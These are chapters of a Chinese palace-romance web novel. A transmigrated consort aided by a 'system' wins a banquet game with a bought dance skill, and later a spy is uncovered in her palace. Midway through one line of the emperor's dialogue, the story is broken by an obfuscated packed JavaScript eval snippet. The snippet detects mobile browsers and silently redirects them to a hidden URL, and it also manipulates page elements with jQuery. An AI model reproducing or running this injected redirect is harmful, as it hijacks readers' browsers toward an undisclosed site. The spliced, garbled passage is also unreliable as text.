端王听罢,微微挑眉,“听闻这次云礼途经江南。那可是个钟灵毓秀之地,美人如画,想来定是让人流连忘返吧。” “江南风光确实旖旎,但于我而言,”说着,牵过睿王妃的手,目光柔情似水的看着她。“只要是与素雅一起,无论何处皆是美景。” 睿王妃程素雅也适时地露出恰到好处的娇羞。 “哦?倒也是三哥不解风情了,该罚。”端王端起酒杯,一口将杯中酒饮尽。 贺云徽似笑非笑地看了一眼端王,缓缓开口:“今日既是家宴,就不谈这些琐事,开宴吧。” 他心中暗骂皇帝狡猾,但也不好再继续纠缠,只得继续端起酒杯饮酒。 姜舒月将这场你来我往看了个清楚,心中对端王这个人的难缠程度又往上提了提。 尹宝林因为已经怀孕,所以她那桌的酒和不适合孕妇吃的都被撤掉,换上了酸甜的梅子酿与一些开胃小菜。 许久未曾好好吃过一顿饭的尹宝林,当下肚子就开始唱起了空城计。 虽然上次在翠竹轩贺云徽生气拂袖而去,但好在尹宝林再不对,肚子里还有孩子。 这样的场合,贺云徽还是决定先揭过之前的不愉快,温声跟她说道:“若是有不合口味的,及时叫人撤了去。” 太后也点点头,“身边的人伺候可还尽心?若是有何不妥的,不必害怕,大可告知哀家与皇上。” 尹宝林原本因姜舒月不忿的心情,在一瞬间就被这番话给抚平了。 羞红着脸谢恩,“多谢陛下、太后关心,妾身一切都好。” 眼神又不由自主地睨向了姜舒月。 【这尹宝林,不怪她能在第一天就被人骗去御花园,这脑子不知怎么长的。】 姜舒月忍不住跟123吐槽起来。 【尹宝林还是有点太沉不住气了。】 123也总结出来她的想法了。 无非就是嫉恨姜舒月,虽然没有姜舒月受宠,但她现在有龙种了,就想要的更多。 比如帝王独一无二的宠爱。 但是后宫妃嫔众多,家世厉害受宠如宋滢都不敢奢求唯一,她一个新晋宝林,又何德何能。 姜舒月冷哼一声:【就她这个性子,这孩子能不能活到生下来,都是个问题。】 明夏听到姜舒月轻哼了一声,不明所以,弯腰问道:“娘娘怎么了,可是有什么不对?” 她摇摇头,只当自己没看见,让明夏又给自己倒了一杯酒。 也不知今日这是什么酒,竟让她这种平日滴酒不沾的人,也能喝上好几杯。 明夏看她喝得痛快,只能出言劝她:“这酒乃宫中佳酿秋露白,后劲大着呢娘娘,喝多了明日起来可要难受的。” 贺云徽眼神扫过她,看她牛饮一般,蹙眉。 福安一看就贴心的凑了过去,“陛下,可有吩咐。” 贺云徽对他耳语一番,福安点头退下。 不多会,拿着一个瓷瓶,到了姜舒月身后。 “姜娘娘,”他把瓷瓶递给了明夏,“陛下口谕,您身体刚好,不可如此豪饮。此乃御医调配的解酒丸,明夏一会伺候你家主子服下。” 姜舒月闻言,撇了撇嘴,只好将手里的酒杯放下,嘀咕着:“陛下管得也忒多了。” 福安眼观鼻鼻观心,当自己听不见。 贺云徽离得远,但看她小嘴嘟囔的样子,心里也猜到她在说什么了。 无奈摇头,继续和睿王交谈起来。 这一幕也落入了端王的眼里,借着喝酒的动作,将对面的姜舒月打量了一番。 与一般妃嫔并无区别。 长相固然美貌,但细看之下并无特殊之处。 静常在坐在后面,看着贺云徽和姜舒月眉来眼去的样子,手帕都要被她搅烂了。 她眼神里带着一丝决绝,本来她还是有一些犹豫的。 既然这样,也不能怪她了。 易水站在静常在的身后,换成以往,她或许会劝诫一番,但…… 就在她走神之际,只听静常在娇呼一声。 原是酒杯倒了,酒水洇湿了她的裙边。 便告了罪,离席前往偏殿更衣。 从热闹非凡的麟德殿出来,主仆二人走在回廊之上,四周一片寂静,只有风吹过的声音。 到了偏殿,静常在推门进去后,挡住了易水,“你去将我的衣服取来后,在此等候。没有我的吩咐,不许进来。” 易水听了,心里咯噔一下。 她眼神还算不错,刚才推门的那一瞬间,她分明看见,里面站了一个身形高大的男人。 一下子心提到了嗓子眼,“娘娘,您要三思啊!” 静常在冷笑一声,“易水,我不会说第二遍,听明白了吗?” 易水生怕别人发现,只得应下,飞快地往惠香居跑去。 殿门合上,不多会,里面便传出了细碎的呻吟声。 姜舒月此时正在和明夏讨价还价。 “娘娘,螃蟹性凉,您已经吃了两只了,不能再吃了。” “好明夏,就依了我吧,”姜舒月可怜兮兮地盯着她。 不是她贪吃,实在是因为大部分进贡过来的,都被皇帝、太后和几个位份高的妃子分了。 自己连个螃蟹腿都捞不着。 好不容易宫宴可以吃到,但是只吃两只,塞牙缝都不够! 最后明夏实在拗不过姜舒月,只好认命地给她又开了一只螃蟹。 【耶斯!】 就在这时,淑妃的目光落在了姜舒月身上。 庶出就是庶出,不过一只螃蟹,竟也能让她贪吃到这种地步,实在是上不得台面。 “宫中教坊司这才艺也甚是无趣,不如来点新鲜的玩法?”淑妃眼睛一转,计上心头。 姜婉清扫了她一眼,心知她肯定不怀好意,“臣妾倒是觉得,教坊司这舞蹈排得不错,赏心悦目的,甚好。” 淑妃也不是第一次被姜婉清针对,她今天大人大量,不跟她计较。 太后懒得管她们言语官司,一天不折腾点什么事情出来,她反而有些不习惯了。 这么一来,反倒让太后有种:终于来了的感觉。 贺云徽自然不会在端王面前,拂了淑妃的面子,便回道:“爱妃有何想法?” 淑妃掩嘴一笑,“臣妾听闻,坊间有一种击鼓传花的游戏。以鼓点为号,花传到谁的手里鼓点停住了,谁就要上来表演一个才艺。” “娘娘这玩法倒是新鲜,”和淑妃往来密切的秋素馨秋修仪开口附和着,“那若是不会才艺,或者才艺不精呢?” 第42章 如此彩头 “若是哪位妹妹推脱不会才艺...”她尾音拖长,眼波流转间扫过下首几位新入宫的妃嫔,“就罚她顶着满碟子栗子糕走莲步,需得从这里走到殿门处,栗子糕若是掉了一枚......” 秋修仪适时接住话头,绢帕掩着唇角笑涡:“就罚她,对着御花园里的池中锦鲤学三声蛙鸣可好?” 满殿顿时响起窸窸窣窣的绢帕闷笑,已有胆小的宫嫔涨红了脸。 正吃得开心的姜舒月一听,坏了,这把冲我来的。 “淑妃娘娘这罚法,本王倒是第一次听说。”睿王看了一眼贺云徽,心里暗暗叹息,皇兄这宫里女人多就是麻烦,还是自己后院清净。 说着还转头看了一眼自家王妃,笑得像是不值钱一般。 程素雅早已经习惯了睿王这动不动就傻笑的样子,伸手捏住他的下巴,将他的头又转了回去。 贺云徽略微一想,就明白了淑妃的想法。 只心下也有些担心,如果选到了姜舒月,她会被刁难。 不自觉又看向席间的姜舒月,后者对上了眼神后,乖巧地笑笑,又继续和螃蟹奋斗了。 看她还是一副没心没肺的样子,贺云徽倒觉得自己现在的担心,好像是媚眼抛给瞎子看。 端王嘴角勾起一抹意味深长的笑,举杯附和道:“淑妃娘娘这提议倒是妙极,既然是家宴,就没有那么多的规矩,何不应了娘娘的美意?” 贺云徽神色微凝,看了端王一眼,似是猜到他的想法,只点头道:“既然淑妃有此雅兴,那便准了。” “光有惩罚可不行。”淑妃得到了贺云徽的准许后,又提出了新的花样。 “这是本宫的彩头,若是才艺拔得头筹,就归她。” 她拿出来的,是自己头上一根金镶玉步摇。 “既然这样,妾身也添个彩头。”秋修仪拿出自己随身佩戴的冰花芙蓉佩。 随后就有妃子陆续拿出看的过去的物品,放在了大殿中间的案几上。 姜舒月也象征性的,拿了自己戴出来的镯子放过去。 就连睿王和端王夫妻俩,都给了各自的彩头。 “陛下和太后可要添一份彩头?” 太后也觉得有点意思,对佩兰嬷嬷耳语几声。 不多会,佩兰嬷嬷拿着一匣子东珠,里面个个都饱满圆润无瑕。 最顶上那颗东珠,竟将铜镜映的菱花窗格都照得纤毫毕现。 就连姜舒月看了都心动。 “既然母后也添了彩,朕也不能落后。”贺云徽点头,福安会意立刻拍了拍手。 内务府太监捧来只缠枝牡丹纹的剔红漆盒,揭开三重蜀锦,一匹流光倏然漫过青砖地。 就连麟德殿里点的羊角灯,都像是霎时暗了三分,好像月华都被吸进了这七尺鲛绡。 “这就是苏州织造府,耗三年心血染的浮光锦吧?”有眼尖的妃子惊呼道。 “听说就进贡这一匹,本来以为会赐给贵……没想到竟然当彩头。”有人嘴快,差点脱口而出不该说的。 淑妃看到这匹浮光锦,突然有些后悔自己的提议。 这浮光锦,她和宋滢都跟贺云徽讨要过,但贺云徽并没有答应,如今却要拿出来当彩头。 姜舒月也是涨了见识,不说那盒东珠,就这浮光锦,技艺早已经失传。 仅仅是一些设计师和艺术家,通过现代技术手段来复原的成品,就足够让人目眩神迷。 更别说这真正的浮光锦了。 “既是有彩头为注,那便点最出众的那人为魁首,”太后笑吟吟地说着,“皇上认为如何?” 贺云徽自然是浅笑着点头。 【叮——请宿主接收支线任务:夺得此次击鼓传花彩头。】 姜舒月愣了愣,好嘛,自己还想到时候随便找个理由退席赖掉这个游戏。 这下不想参加也要参加了。 这两个彩头一出,原本还有些踌躇的妃子们,一下子眼睛就亮了起来。 方静姝担忧地看向姜舒月,后者在姜府过的日子是什么样的,她可太清楚了。 如果一会花传到了姜姐姐手里,她该用什么方式,才能让自己代替姜姐姐表演才艺呢。 姜舒月不语,只是一味的翻系统商城。 不管一会是不是针对自己做的局,总要先准备好才行。 【古琴高级】需要80积分,【古筝高级】和【琵琶高级】则需要120积分。 【宿主可是要兑换道具?】 她翻了好几页,不管是乐器还是舞蹈,全都是高级。 但是她一个不受重视的庶女,有那么精通的才艺,不是很惹眼嘛? 【123,有没有那种刚刚好的道具。】 【当然有了,检测到宿主需求,推荐这几种中级乐器、舞技道具,仅需30积分,可让宿主在短时间内达到中级水平。】 【好统,就这个了,兑换「舞技中级」!】 【叮!兑换成功,剩余积分:275。】 “快放开我,出来太久回惹人怀疑的。” 静常在推了一把在身后黏糊的周文进。 他摸着静常在还裸露在外的皮肤,手指粗粝滑过皮肤,引得她浑身轻颤。 温热的唇再次贴上了光洁的后背。 “嗯……别……” 偏殿再次响起不堪入目的声音。 易水手里捧着拿回来的衣服,听着里面的动静,麻木地站在门口把风。 “易水,进来吧。”不多会,静常在便唤了易水进去服侍。 屋里弥漫着一股难以言喻的气味,不用想也知道是什么,然而屋内却看不见那个男人。 一阵风吹过来,易水才发现,旁边的窗户大开。 那人早已顺着窗户离开。 快速地给静常在穿好衣服,收拾好满屋的狼藉和衣服,又重新梳妆打扮之后,两人急匆匆赶回麟德殿。 一人一统研究说话间,宫女和太监们把桌子椅子放好,除了怀孕的尹宝林,妃嫔们都自发的按照位份坐下。 静常在进来之后,看到殿内的情况愣了下。 兰昭容虽然不喜静常在,却还是对她有些关照的,看到她进来,便招呼着。 “你回来倒是巧,”她指了指静常在的位置,“快坐下。” 兰昭容身边的清姿已经来到静常在旁边,跟她解释了一番。 “原来如此。”她浅笑着落座。 红绸扎成的牡丹落入秋修仪手中,借着传递的动作,姜舒月瞥向击鼓的太监。 倒真的让她看到了,那太监与淑妃身边的小满互换眼神,而这时,鼓点也有了细微的停顿。 姜舒月嘴角抽搐,手快地将红绸扔到坐在她下首的刘才人。 鼓点戛然而止的刹那,刘才人刚要递出去的手僵在了半空。 “刘才人,可有什么才艺?”淑妃看到姜舒月躲过一劫,也兴致缺缺,随意问道。 刘才人虽然位份低,在家中却也是认真培养过的,一手琵琶弹得十分出彩,琴音如清泉般流淌。 一曲《梅花三弄》结束,刘才人睁着期待的眼睛看着贺云徽。 “弹得好,没想到你竟然有如此技艺。”太后语气中带着几分赞赏。 “琵琶声清脆悦耳,如泉水叮咚,确实不错。”贺云徽也点头。 刘才人听到太后与贺云徽的夸奖,脸上露出欣喜之色,她微微低头,轻声道:“多谢太后、陛下夸奖。” 淑妃见状,心中微微有些不悦,但表面上却保持着笑容。 “刘才人这手琵琶真真是让本宫好生惊讶,就是不知其他姐妹,还会有什么才艺呢。” 她目光在众人身上扫过,最后停在秋修仪脸上,暗暗对她点头。 秋修仪接收到了淑妃的目光,内心一阵激动。 她的父亲如今在淑妃父亲手底下做事,自己也只能依附与她。 「如今宫里孩子不多,又有新人入宫,若是你愿意跟着我,只要有机会,我必定不会亏待与你。」 第43章 技惊四座 脑中回旋着淑妃的声音,今夜,大概就是所谓的机会了。 又一轮的击鼓传花开始了,这次大家反而慢了一些,放在手里的时间都很长,颇有些想直接扣下的意味。 最后红绸如愿的停在了秋修仪的手里。 “千雪,取我的琴来,”秋修仪低声吩咐,“妾身也愿献上一曲,还请陛下指点一二。” 换了一身更方便弹琴的衣裳,古筝已经摆放好。 她坐下之后轻轻拨动琴弦,清脆的琴音顿时在大殿内回荡。 秋修仪的古筝技艺也颇为不俗,弹奏的《高山流水》琴音悠扬,如高山流水般潺潺流淌,让人仿佛置身于山水之间。 一曲终了,秋修仪抬起头,目光挑衅地看了一眼刘才人,转头换了一副娇羞的表情,说道:“陛下,妾身献丑了。” 贺云徽倒是一碗水端平,对每个献艺的妃子都一视同仁夸奖一番。 “没想到修仪妹妹还有这样的琴艺,”淑妃见状,心中微微有些得意,“真让人刮目相看。” 姜婉清在一旁嗤笑,满宫谁不知道着秋修仪以淑妃马首是瞻,“本宫记得,往年秋修仪可都是说自己琴艺不精,今日倒真是应了那句:士别三日当刮目相待了。” 秋修仪的脸色瞬间涨得通红,她咬了咬下唇,眼中闪过一丝恼意,却又不敢公然发作。 只能面带微笑说道:“谢婉妃娘娘夸奖,妾身只是平日里勤加练习,才有今日的进步。” 淑妃的脸色也微微一沉,刚想说些什么,身旁的小满立刻递上一杯酒。 在衣袖的遮掩下,扯了扯淑妃的袖子,“娘娘请用。” 她只好忍了下来。 姜舒月坐在一旁,看着眼前这一幕,心里也有些好笑,但是又想到自己也是其中一员,又笑不出来了。 “不过只是简单击鼓传花,却有些单调了,”姜婉清何尝没有看到,小满和击鼓太监在使眼色,“陛下,臣妾觉得,不若蒙上击鼓人的眼睛,更添趣味呢。” 贺云徽手指摩挲着白玉扳指,目光扫过姜舒月,她发髻上的蝴蝶随动作振翅,似要飞舞,“准了。” 淑妃刚想阻止已是来不及,早已有人将那名太监的眼睛蒙上。 蒙眼之后更多了一些不确定性,击鼓传花也已经到了白热化的阶段,在场的每一位妃子几乎都献过艺了。 到了如今,已经不单纯是为了彩头了,更多的是为了能够在贺云徽和太后这里,得到二人的青眼相待。 或吟诗作画,或抚琴弄箫,各有千秋。 让姜舒月这个现代人很是过了一把眼瘾。 这不比春晚好看? 鼓声再次响起,一连几轮都没有轮到姜舒月,淑妃免不得心里有些焦躁。 时间已经过去许久,贺云徽还好,毕竟身强体壮,两位王爷和其余的妃嫔也精力十足,但太后上了岁数,几轮下来,已是精力不足。 在贺云徽的示意下,击鼓传花便到了最后一轮。 羯鼓阵阵作响,红绸牡丹在满殿妃嫔手中辗转,最终还是如淑妃的愿,到了姜舒月手里。 淑妃见红绸到了姜舒月的手里,今晚一切不顺之事所带来的不虞立刻烟消云散。 “姜贵人,这红绸传到了你手中,不知你可否有才艺可展示的?”她笑得温和,这次还抓不到你? 这话一出,殿内众人的目光瞬间聚焦在姜舒月身上。 更多的人是存了看热闹的心。 方静姝的心一提,担忧地看向姜舒月,却见她神色自若,仿佛早有准备。 姜婉清猛地抓住扶手,脸上的笑意早已淡下。 姜府里是什么情况,姜婉清当然是最清楚的了。 若进宫的是其他几个妹妹,她自然不会担心,但偏偏进宫的是姜舒月。 贺云徽想起福安之前查到的姜舒月的过往,眉心微微皱起,眼神晦暗不明。 尹宝林看到姜舒月接到了红绸,也跟淑妃她们一样,幸灾乐祸的等待姜舒月跪地求饶。 但并不见姜舒月告饶,只起身,莲步轻移至殿前,朝着贺云徽盈盈下拜:“陛下,妾身自知愚钝,只习得一支水袖舞,虽不甚精湛,但也想在这宴会上为陛下与各位娘娘助兴。” “准。”低沉醇厚的声音从上方传来。 【舞技中级已生效】 姜舒月在宫人的带领下去更换了水袖舞衣,待再出来时,一身绯红舞衣,手臂抬起,长袖遮住了她的脸,束腰紧贴身躯,显得腰肢盈盈一握。 朝着乐班做了一个手势,示意乐班开始演奏。 待乐声响起,长袖猛然甩开,那张清丽绝俗的脸便露了出来。 即便看多了各式各样的美人,也不能否认,此刻的姜舒月无疑是最耀眼夺目的。 袖若流水清泓,裙如荧光飞舞,身动似月移花影,灯影绰约间,一双如烟的盈润水眸欲语还休。 借着水袖再次遮挡面庞的间隙她看了一眼贺云徽,年轻俊美的帝王高坐在上,嘴角含笑地看着她。 当即便对着贺云徽俏皮地眨了下眼睛。 后者一愣,似无奈般轻笑着摇了摇头。。 淑妃的脸色渐渐变得难看,她本以为姜舒月不过是个空有其表的草包,随便刁难一下就能让她出丑,却没想到她的舞蹈如此惊艳。 她竟然会!她怎么可以会! 尹宝林恨恨地盯着殿中翩翩起舞的姜舒月,握着玉箸的手渐渐收紧。 更让她感到不安的是,贺云徽的目光始终停留在姜舒月身上,眼中的温柔愈发浓烈。 姜婉清也没想到,姜舒月竟然给了自己一个这么大的惊喜。 幸好,没有丢了姜家的脸面。 方静姝更是大大地松了一口气。 这些姜舒月都不知道,她此刻只专心地跳着。 高潮部分,乐声渐渐急促,姜舒月踏着碎步,飞快地旋转起来,绯红色的水袖如飞燕振翅,如玉的素手婉转流连,叫人目不暇接。 最后一跃凌空,落地时双臂一展,水袖如浪翻飞,腰身后折若新月倒悬,定定地望向贺云徽。 满堂寂静,所有人都凝神静气地望着她。 恍惚间似听见有人呢喃:“这哪是人间舞,分明是仙娥下凡了!” “这也叫不甚精湛,那我学的叫什么?” 姜贵人。贺云徽低沉的嗓音惊醒了满室寂静,这匹浮光锦,倒是与你的水袖舞相得益彰。 朕记得库房还有对赤金点翠如意步摇,他的目光略过姜舒月微湿的鬓角,明日让内务府一并送去弦月宫。 太后回过神来,抚掌不吝夸奖,“好!姜贵人舞艺精湛,当属此次魁首!” “妾身谢过陛下、太后赏赐。” 姜舒月盈盈下拜,谢过众人夸赞。 余光瞥见淑妃那难看的脸色,心里知道这下已经将淑妃彻底得罪了。 淑妃攥紧手中的丝帕,指节泛白,精心描绘的柳叶眉扭曲变形,嘴角扯出一抹僵硬的笑:“姜贵人这舞技,果真是惊艳绝伦,连陛下都另眼相看。” 第44章 色衰而爱驰 话里话外,满是不甘与怨愤。 尹宝林彻底失去了兴致,但还是顾忌着场合,硬是忍了下来。 她心中暗恨,姜舒月这个草包,怎么可能会跳这么好看的舞?一定是走了狗屎运! “月儿向来谦虚,”姜晚清才不管淑妃有多怄,满意地对着姜舒月点头,“还推脱说不甚精湛,你呀~” “姐姐就不要打趣月儿了。”她脸上带着跳舞之后的红晕,对着姜婉清娇嗔之时,别有一番小女儿家的娇羞。 一场游戏下来,端王坐在位置上,将贺云徽对姜舒月的关注都看在了眼里。 手指轻轻摩挲这腰间的玉佩,目光在两人之间来回游移。 【piupiu~恭喜宿主完成任务,完美完成演出~获得200积分,奖励美容养身丸一瓶,剩余积分:475!】 123蹦跶的欢快,电子烟花放起来绚丽夺目。 姜舒月被逗得弯了弯眼睛。 一场看似宾客尽欢的宴席结束,天忽而下起了细雨,击鼓传花的彩头早已让人抬回了弦月宫。 姜舒月便在明夏的搀扶下,慢悠悠地和方静姝一同走着。 细雨之下的皇宫别有一番景色,送完方静姝后她才惊觉,自己已经在宫里闲逛了好一会。 “娘娘,更深露重,该回了。”明夏劝着。 姜舒月点头,“知道啦,管家婆。” 琼华宫 淑妃回到琼华宫,心中的怒火熊熊燃烧,几乎要将理智吞噬。 明明计划好了一切,谁知都被打乱了。 她猛地将手中的金镶玉茶盏摔在地上,眼神中透着阴狠,“姜舒月,本宫绝对不会让你得意太久!” 月华公主早已被奶娘抱了出去。 小满和白露吓得瑟瑟发抖,大气都不敢出。 一旁跟着她一起回来的秋修仪眼皮跳了跳,深吸口气,上前劝道:“娘娘息怒,娘娘何必如此生气。今日她出尽风头,比我们更心急的,大有人在。若实在见不得她蹦跶,咱们可以这样……” 姜舒月悠哉悠哉地溜达着回去,还未到弦月宫门口,远远地就看见小方子撑着伞在宫外踱步。 似有所感,他猛地回头,看见姜舒月脸上边露出松了一口气的样子。 “娘娘这是去哪了,皇上等您许久了,”他接过明夏手里的伞,“辛苦姐姐了,让小的来。” 明夏也不推辞,换过他手里伞,跟在旁边。 姜舒月一听吓了一跳,“陛下怎的来了,可是等了许久?” 小方子连忙回道:“来了约莫半刻钟了,此时正在殿内等您呢。” 姜舒月听完立刻加快了脚步。 贺云徽此时正在桌案前,随意翻看着一本诗集。 听到外面喧闹起来,知道是姜舒月回来了。 “陛下万福。” 姜舒月刚一进入殿内,贺云徽看向她,脸上头发和肩膀上都落了雨。 眉头蹙起,伸手将人拉起,擦了擦她脸上的水珠,“急什么,当心着了凉。” 福安看贺云徽的脸色不好看,眼神扫过身后跟着的明夏和小方子,“怎么伺候你家娘娘的,还不赶快给姜娘娘更衣,再把姜茶端来!” “是!奴婢/奴才这就去。” 姜舒月听他语气不像是在生气,胆子也大了起来,环着贺云徽的腰撒娇,“妾身哪有那么较弱,陛下来了怎么不让小方子他们去寻妾身。” 贺云徽揽住她的腰身,“朕哪知贪玩的小猫跑去哪里了,总归是要归家的。” 她嘻嘻笑着,手还不老实地在他身后乱摸。 贺云徽无奈捉住她的手,正巧扶风和明夏端着姜茶和衣裳进来,“别乱动,先来伺候你家娘娘更衣。” 姜舒月从小就不喜欢姜的味道,但一旁还立了一尊大佛,只好苦着脸喝完了姜茶。 等到她换完衣服,贺云徽也换了一身寝衣在内室坐着。 “过来。”合上手里的诗集,贺云徽对着姜舒月说道。 她过去之后还没等站稳,贺云徽便将人拉到了腿上坐着。 “爱妃今日,可是令朕刮目相看。”他的拇指慢慢地在姜舒月的腰后滑过。 姜舒月听着心里警铃大作。 【123!他是不是怀疑我了!】 【男主曾经让人调差过宿主的过往,宿主应该是不会任何才艺的。】 123也跟着紧张起来,难道他们两个努力了这么久,今天要载在这里了吗? 看她一直低着头不说话,贺云徽有些不悦,“为何不说话?” “啪嗒——”一滴泪落在了贺云徽手上,烫得他的手动了动。 “朕不过是问一问,为何哭了。”语气软了下来。 “妾身的姨娘年轻时,也会跳好看的舞。妾身曾看到她给父亲跳舞,父亲极为喜欢,总是给姨娘很多好东西。 妾身想学,姨娘却不愿意教,妾身央了许久,姨娘才答应教妾身。后来父亲又得了别的姨娘,渐渐地便也不再去姨娘那了……” 姜舒月倒也没说谎,原主的娘年轻时,就是凭借着出色的容貌和动人的舞姿,才被姜业成纳为小妾。 只是红颜易老,人心易变。 只几年过去,姜府后院又添了新人,叶姨娘也就泯然众人了。 “自那以后,府中再也没有人当妾身是三小姐,”姜舒月抽了抽鼻子,“妾身和扶风住在最偏远的院子,每天都吃不饱,穿不暖。 天冷的时候,妾身院内没有炭火,妾身只能一遍又一遍地,跳着姨娘教的舞蹈,跳累了身上便感觉到暖和了。” 他的手掌一下又一下地安抚着姜舒月。 感受到了贺云徽的态度变化,姜舒月又掉了几滴眼泪。 贺云徽眼帘低垂,目光看着手背上那几颗晶莹的泪珠,想到她刚侍寝那天,也是如此难过。 喉咙不自觉地下上滑动,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400761|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎的这么爱哭。” 说完,姜舒月大有要用眼泪淹死他一般,掉得更汹涌了。 “好了,别哭了,”他抬起姜舒月的脸,鼻尖哭得通红,眼泪如珠般滴落,“是朕不对,不该勾起你的伤心事。” 姜舒月听了心里就知道,这把稳了。 她顺势将脸埋进贺云徽的颈间,“陛下您这道歉,一点诚意都没有。” 贺云徽轻笑,“那朕的姜贵人想要朕如何呢。” 姜舒月还惦记着123给的任务,脸腾地一下红了,趴在贺云徽耳边轻轻说了几句话。 说完抬脸看他,正撞见贺云徽眼底翻涌的暗色。 殿外,雨势渐大,雨滴打在窗棂上,发出清脆声响。 殿内,她长大嘴巴,如濒死的鱼,大口大口地呼吸着新鲜空气,手指攥紧了身下的锦褥。 贺云徽将她的手从锦褥上掰开,一点点扣进她的指缝,直到两人十指紧扣。 【总算是糊弄过去了。】姜舒月窝在贺云徽怀中,迷迷糊糊地想着。 123也放下心,还好没有露出破绽,不然它真的会被送回系统学校再造了。 * 青瓷冰裂纹香炉里腾起一缕白烟,叶姨娘瘦削的脸庞上有些迷茫,望着突然丰盈起来的妆奁,好似做梦一般。 “叶姨娘,”管家领着丫鬟燕琳捧着朱漆托盘进来,上头放着一匹上好的云锦,老爷说江南来的云锦,给姨娘裁两身夏衫。 “这、这云锦贵重,”她慌乱摆手,“老爷已经给婢妾很多东西了。” 管家并没有听叶姨娘的话,让丫鬟把东西放下,“叶姨娘,老爷说今日会来落霞苑陪您用膳。” 说完径直离开,只留叶姨娘和燕琳在原地。 “姨娘可要梳妆打扮一番?”燕琳贴心地扶着她坐下。 自从叶姨娘住进落霞苑,燕琳就被拨来伺候她,也摸清了叶姨娘的脾性。 她听了愣住,不一会自嘲地笑了笑,“不用梳洗,这样就可以。” 叶姨娘也知道,是因为自己的女儿在宫内得宠,老爷不过是怕姜舒月找茬,才连夜将自己迁入落霞苑。 望着皇宫的方向,是自己窝囊,才会累得女儿进到那**的皇宫里。 “姨娘莫要担心,贵人娘娘聪颖,在宫内定会逢凶化吉的。”燕琳已经伺候叶姨娘几日了,看她这幅神情,也知道她心里又伤怀起来,连忙安慰。 又是一番逗趣,才又让叶姨娘展颜。 不同于落霞苑这边的和谐,主院那边,姜夫人捏着帕子的手指节泛白。 “这该死的**!”她望着落霞苑的方向,“早知道,当年就该掐死她和她生下来的贱……” “夫人!”她话没有说完,身边的大丫鬟立刻上前打断了她的话,“小心隔墙有耳。” 又是端茶又是打扇的,才让姜夫人慢慢冷静下来。 “取纸笔来,我要给清儿写信。” 第45章 花筝 弦月宫内,几个太监宫女个个都抿紧了嘴,生怕一不小心就笑出声来。 “专心,”贺云徽手握毛笔,不轻不重地敲了下姜舒月的脑袋,“手腕抬高,落笔要稳。” 早知道就不该把自己随手写的纸放在桌案上,就不会被贺云徽抓住机会,非教自己书法了。 这下谁还分得清她和小学生。 “陛下,妾身不学可以嘛?”她咬着笔杆,不情不愿地坐在桌案前。 看她眼珠子转来转去的,就知道脑袋里肯定在嘀咕自己。 故作不悦地说着:“旁人若是得朕指点,谢恩都来不及,你倒好,视为洪水猛兽。” 他故作冷脸,微微绷紧的下颚线比姜舒月的生命线还清晰。 姜舒月百般不情愿,贺云徽轻叹一声,走到她身边,握着姜舒月的手,慢慢在纸上写着。 一点点的跟她说,要怎么样手腕才不会疼,怎么下笔才会写的更好。 但姜舒月的注意力全都落在了他金质玉相的脸上、那开开合合的性感嘴唇上,还有那清醇如酒的声音上。 姜舒月心想,这可真是个行走的男妖精。 贺云徽点了点她的头,气息拂过她鬓角碎发,“看纸,好好学。” 她没出息地咽了咽口水,脑子里不自主想到昨晚发生的事情,脸又慢慢红了,只能‘哦’了声,把视线挪开。 “学好了,朕……重重有赏。” 听到有赏赐,姜舒月勉强来了点兴致,鼓着脸,一副要跟这毛笔拼了的模样。 【叮——检测到端王暗桩在弦月宫内对宿主进行监视,请宿主尽快让男主知晓此事,揪出内奸。】 姜舒月顿了顿,耍赖似的搁了笔,“陛下,妾身手疼。” 明明知道她是在撒娇卖痴,贺云徽还是握住了她的手腕,轻轻揉捏着。 “偏你娇气。”语气宠溺,丝毫没有老师被不愿学习的学生气到的样子。 姜舒月摸准了贺云徽的脾气,相处时惯会得寸进尺,“陛下,真的手疼~” 无奈地摇摇头,“罢了,今日便练到这里吧。不过日后不可荒废,要是让朕发现你阳奉阴违,小心你的屁股。” 说完只听姜舒月欢呼一声,逃也似的跑出书房,“陛下快来,尝尝尚膳居新送来的点心。” 【傻子才练字,到时候我兑换道具还不轻松拿捏?】姜舒月早就已经想好要如何应付贺云徽了。 【123,哪一个是暗桩啊?】她手里捏着点心,眼睛在几个宫女太监中打转。 【宿主,是新调来的洒扫宫女,名叫花筝,从小就被送去训练,身怀武艺。】 姜舒月脑子便浮现出一张清秀的脸,宫宴那晚过后,由内侍省送来的。 【那岂不是说明别处也有暗桩?这皇宫怎么漏的跟筛子一样?】 不过也正常,自古以来皇位争夺就激烈非常,换成是贺云徽,估计他安插的暗桩会更多吧。 听到贺云徽过来的脚步声,姜舒月转过身,将沾着糖霜的玫瑰酥递到贺云徽唇边,指尖故意蹭过他微凉的唇峰。 陛下尝尝这个,加了槐蜜呢。她故意歪着身子,整个人像是无骨一般,扒着贺云徽。 鼻尖是贺云徽身上的龙涎香,混着点心甜腻的气息。 贺云徽就着她的手咬下糕点,忽然攥住那截皓腕,将人拉入怀中,拇指若有似无地摩挲着腕骨,正是方才替她揉捏的位置。 “站好,像什么样子。”他不轻不重地说了一句,但是手还是好好地抱住了姜舒月,让她靠得更舒服一些。 姜舒月自然是不听,正欲说些什么,就看花筝打眼前经过。 那抹身着浅蓝色宫装的身影,在廊下不着痕迹地看了一眼二人,随后又装作无事继续修剪花枝。 【端王让人来监视我,是以为我对男主很重要?】不然为什么之前没有派人来,反而宫宴之上,自己赢得彩头后派人来呢? 123快速翻阅了一下,【确实是这样的,端王不仅在宿主这里安插了人手,宋滢那边也安插了。】 这倒是让姜舒月有些吃惊了,按照她对宋滢的了解,她不会在自己宫里放不信任的人,除非…… “想什么这么出神?”手腕上被贺云徽不轻不重地捏了下。 姜舒月猛地回神,抬头一看,发现贺云徽正盯着自己,指尖还停在她腕间。 她顺势靠在他胸口,“妾身只是在想,那盆芍药如今开的正好,该是放在角东南角才对,这样妾身醒来便可看到了。” 贺云徽轻笑出声,另一只手捏了捏她耳垂:“那有何难,让宫女搬了去。” 